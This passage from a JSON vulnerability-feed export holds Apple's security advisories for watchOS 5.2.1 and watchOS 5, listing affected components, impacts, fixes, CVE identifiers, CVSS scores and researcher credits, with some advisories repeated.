{"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-05-13T00:00:00", "type": "apple", "title": "About the security content of watchOS 5.2.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8560", "CVE-2019-8568", "CVE-2019-8573", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8577", "CVE-2019-8583", "CVE-2019-8585", "CVE-2019-8591", "CVE-2019-8592", "CVE-2019-8593", "CVE-2019-8598", "CVE-2019-8600", "CVE-2019-8601", "CVE-2019-8602", "CVE-2019-8605", "CVE-2019-8607", "CVE-2019-8612", "CVE-2019-8613", "CVE-2019-8620", "CVE-2019-8622", "CVE-2019-8623", "CVE-2019-8626", "CVE-2019-8637", "CVE-2019-8664"], "modified": "2019-05-13T00:00:00", "id": "APPLE:0B002AB816638E74B596AA40B55E1D50", "href": "https://support.apple.com/kb/HT210122", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:40", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 5.2.1\n\nReleased May 13, 2019\n\n**AppleFileConduit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8593: Dany Lisiansky (@DanyL931)\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted movie file may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8585: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved error handling.\n\nCVE-2019-8592: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added August 1, 2019\n\n**Disk Images**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8560: Nikita Pupyshev of Bauman Moscow State Technological University\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2019-8576: Brandon Azad of Google Project Zero, Junho Jang and Hanul Choi of LINE Security Team\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to cause unexpected system termination or write kernel memory\n\nDescription: A type confusion issue was addressed with improved memory handling.\n\nCVE-2019-8591: Ned Williamson working with Google Project Zero\n\n**Mail**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8626: Natalie Silvanovich of Google Project Zero\n\n**Mail Message Framework**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8613: Natalie Silvanovich of Google Project Zero\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: Natalie Silvanovich of Google Project Zero\n\nEntry added August 1, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause a system denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8573: Natalie Silvanovich of Google Project Zero\n\nEntry added July 3, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: Natalie Silvanovich of Google Project Zero\n\nEntry added July 3, 2019\n\n**MobileInstallation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to modify protected parts of the file system\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2019-8568: Dany Lisiansky (@DanyL931)\n\n**MobileLockdown**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8637: Dany Lisiansky (@DanyL931)\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: An input validation issue was addressed with improved memory handling.\n\nCVE-2019-8577: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A maliciously crafted SQL query may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8600: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to read restricted memory\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8598: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed by removing the vulnerable code.\n\nCVE-2019-8602: Omer Gull of Checkpoint Research\n\n**sysdiagnose**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2019-8574: Dayton Pidhirney (@_watbulb) of Seekintoo (@seekintoo)\n\nEntry updated February 3, 2020\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may result in the disclosure of process memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8607: Junho Jang and Hanul Choi of LINE Security Team\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8583: sakura of Tencent Xuanwu Lab, jessica (@babyjess1ca_) of Tencent Keen Lab, and dwfault working at ADLab of Venustech\n\nCVE-2019-8601: Fluoroacetate working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8622: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8623: Samuel Gro\u00df of Google Project Zero\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position can modify driver state\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8612: Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\nEntry added May 30, 2019\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A device may be passively tracked by its Wi-Fi MAC address\n\nDescription: A user privacy issue was addressed by removing the broadcast MAC address.\n\nCVE-2019-8620: David Kreitschmann and Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n\n\n## Additional recognition\n\n**Clang**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero for their assistance.\n\n**CoreAudio**\n\nWe would like to acknowledge riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative for their assistance.\n\nEntry added July 25, 2019\n\n**CoreFoundation**\n\nWe would like to acknowledge Vozzie and Rami and m4bln, Xiangqian Zhang, Huiming Liu of Tencent's Xuanwu Lab for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero and an anonymous researcher for their assistance.\n\n**MediaLibrary**\n\nWe would like to acknowledge Angel Ramirez and Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. for their assistance.\n\n**MobileInstallation**\n\nWe would like to acknowledge Yi\u011fit Can YILMAZ (@yilmazcanyigit) for their assistance.\n", "edition": 4, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-27T08:19:16", "title": "About the security content of watchOS 5.2.1 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8568", "CVE-2019-8593", "CVE-2019-8577", "CVE-2019-8612", "CVE-2019-8592", "CVE-2019-8591", "CVE-2019-8602", "CVE-2019-8637", "CVE-2019-8560", "CVE-2019-8585", "CVE-2019-8622", "CVE-2019-8601", "CVE-2019-8620", "CVE-2019-8607", "CVE-2019-8605", "CVE-2019-8583", "CVE-2019-8626", "CVE-2019-8573", "CVE-2019-8598", "CVE-2019-8600", "CVE-2019-8574", "CVE-2019-8623", "CVE-2019-8613", "CVE-2019-8576", "CVE-2019-8664"], "modified": "2020-07-27T08:19:16", "id": "APPLE:HT210122", "href": "https://support.apple.com/kb/HT210122", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-10T17:00:20", "description": "# About the security content of watchOS 5\n\nThis document describes the security content of watchOS 5.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page. You can encrypt communications with Apple using the [Apple Product Security PGP Key](<https://support.apple.com/kb/HT201601>).\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\n\n\n## watchOS 5\n\nReleased September 17, 2018\n\n**CFNetwork**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4412: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4414: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreText**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4347: an anonymous researcher\n\nEntry added October 30, 2018\n\n**dyld**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4433: Vitaly Cheptsov\n\nEntry added January 22, 2019\n\n**Grand Central Dispatch**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4426: Brandon Azad\n\nEntry added October 30, 2018\n\n**Heimdal**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4331: Brandon Azad\n\nCVE-2018-4332: Brandon Azad\n\nCVE-2018-4343: Brandon Azad\n\nEntry added October 30, 2018\n\n**IOHIDFamily**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4408: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018, updated August 1, 2019\n\n**IOKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4341: Ian Beer of Google Project Zero\n\nCVE-2018-4354: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018\n\n**IOKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4383: Apple\n\nEntry added October 24, 2018\n\n**IOUserEthernet**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4401: Apple\n\nEntry added October 30, 2018\n\n**iTunes Store**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2018-4305: Jerry Decime\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: An input validation issue existed in the kernel. This issue was addressed with improved input validation.\n\nCVE-2018-4363: Ian Beer of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4336: Brandon Azad\n\nCVE-2018-4337: Ian Beer of Google Project Zero\n\nCVE-2018-4340: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4344: The UK's National Cyber Security Centre (NCSC)\n\nCVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018, updated October 30, 2018\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: An access issue existed with privileged API calls. This issue was addressed with additional restrictions.\n\nCVE-2018-4399: Fabiano Anemone (@anoane)\n\nEntry added October 30, 2018\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4407: Kevin Backhouse of Semmle Ltd.\n\nEntry added October 30, 2018\n\n**Safari**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to discover websites a user has visited\n\nDescription: A consistency issue existed in the handling of application snapshots. The issue was addressed with improved handling of application snapshots.\n\nCVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah M\u00fcr\u015fide \u00d6z\u00fcnenek Anadolu Lisesi - Ankara/T\u00fcrkiye, Mehmet Ferit Da\u015ftan of Van Y\u00fcz\u00fcnc\u00fc Y\u0131l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU)\n\n**Security**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm\n\nDescription: This issue was addressed by removing RC4.\n\nCVE-2016-1777: Pepi Zawodsky\n\n**Security**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2018-4395: Patrick Wardle of Digita Security\n\nEntry added October 30, 2018\n\n**Symptom Framework**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Text**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted text file may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4304: jianan.huang (@Sevck)\n\nEntry added October 30, 2018\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious website may cause unexepected cross-origin behavior\n\nDescription: A cross-origin issue existed with iframe elements. This was addressed with improved tracking of security origins.\n\nCVE-2018-4319: John Pettitt of Google\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory consumption issue was addressed with improved memory handling.\n\nCVE-2018-4361: found by OSS-Fuzz\n\nCVE-2018-4474: found by OSS-Fuzz\n\nEntry added September 24, 2018, updated January 22, 2019\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4191: found by OSS-Fuzz\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Cross-origin SecurityErrors includes the accessed frame\u2019s origin\n\nDescription: The issue was addressed by removing origin information.\n\nCVE-2018-4311: Erling Alf Ellingsen (@steike)\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2018-4299: Samuel Gro\u03b2 (saelo) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4359: Samuel Gro\u00df (@5aelo)\n\nCVE-2018-4358: @phoenhex team (@bkth_ @5aelo @_niklasb) working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018\n\n\n\n## Additional recognition\n\n**Core Data**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**Sandbox Profiles**\n\nWe would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance.\n\n**SQLite**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: August 01, 2019\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-09-17T00:00:00", "type": "apple", "title": "About the security content of watchOS 5", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-1777", "CVE-2018-4126", "CVE-2018-4191", "CVE-2018-4203", "CVE-2018-4299", "CVE-2018-4304", "CVE-2018-4305", "CVE-2018-4311", "CVE-2018-4313", "CVE-2018-4319", "CVE-2018-4331", "CVE-2018-4332", "CVE-2018-4336", "CVE-2018-4337", "CVE-2018-4340", "CVE-2018-4341", "CVE-2018-4343", "CVE-2018-4344", "CVE-2018-4347", "CVE-2018-4354", "CVE-2018-4358", "CVE-2018-4359", "CVE-2018-4361", "CVE-2018-4363", "CVE-2018-4383", "CVE-2018-4395", "CVE-2018-4399", "CVE-2018-4401", "CVE-2018-4407", "CVE-2018-4408", "CVE-2018-4412", "CVE-2018-4414", "CVE-2018-4425", "CVE-2018-4426", "CVE-2018-4433", "CVE-2018-4474"], "modified": "2018-09-17T00:00:00", "id": "APPLE:4F18D4C9912459DD113CA737563EA768", "href": "https://support.apple.com/kb/HT209108", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:35", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page. You can encrypt communications with Apple using the [Apple Product Security PGP Key](<https://support.apple.com/kb/HT201601>).\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\n\n\n## watchOS 5\n\nReleased September 17, 2018\n\n**CFNetwork**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4412: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4414: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreText**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4347: an anonymous researcher\n\nEntry added October 30, 2018\n\n**dyld**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4433: Vitaly Cheptsov\n\nEntry added January 22, 2019\n\n**Grand Central Dispatch**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4426: Brandon Azad\n\nEntry added October 30, 2018\n\n**Heimdal**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4331: Brandon Azad\n\nCVE-2018-4332: Brandon Azad\n\nCVE-2018-4343: Brandon Azad\n\nEntry added October 30, 2018\n\n**IOHIDFamily**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4408: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018, updated August 1, 2019\n\n**IOKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4341: Ian Beer of Google Project Zero\n\nCVE-2018-4354: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018\n\n**IOKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4383: Apple\n\nEntry added October 24, 2018\n\n**IOUserEthernet**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4401: Apple\n\nEntry added October 30, 2018\n\n**iTunes Store**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2018-4305: Jerry Decime\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: An input validation issue existed in the kernel. This issue was addressed with improved input validation.\n\nCVE-2018-4363: Ian Beer of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4336: Brandon Azad\n\nCVE-2018-4337: Ian Beer of Google Project Zero\n\nCVE-2018-4340: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4344: The UK's National Cyber Security Centre (NCSC)\n\nCVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018, updated October 30, 2018\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: An access issue existed with privileged API calls. This issue was addressed with additional restrictions.\n\nCVE-2018-4399: Fabiano Anemone (@anoane)\n\nEntry added October 30, 2018\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4407: Kevin Backhouse of Semmle Ltd.\n\nEntry added October 30, 2018\n\n**Safari**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to discover websites a user has visited\n\nDescription: A consistency issue existed in the handling of application snapshots. The issue was addressed with improved handling of application snapshots.\n\nCVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah M\u00fcr\u015fide \u00d6z\u00fcnenek Anadolu Lisesi - Ankara/T\u00fcrkiye, Mehmet Ferit Da\u015ftan of Van Y\u00fcz\u00fcnc\u00fc Y\u0131l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU)\n\n**Security**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm\n\nDescription: This issue was addressed by removing RC4.\n\nCVE-2016-1777: Pepi Zawodsky\n\n**Security**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2018-4395: Patrick Wardle of Digita Security\n\nEntry added October 30, 2018\n\n**Symptom Framework**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Text**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted text file may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4304: jianan.huang (@Sevck)\n\nEntry added October 30, 2018\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious website may cause unexepected cross-origin 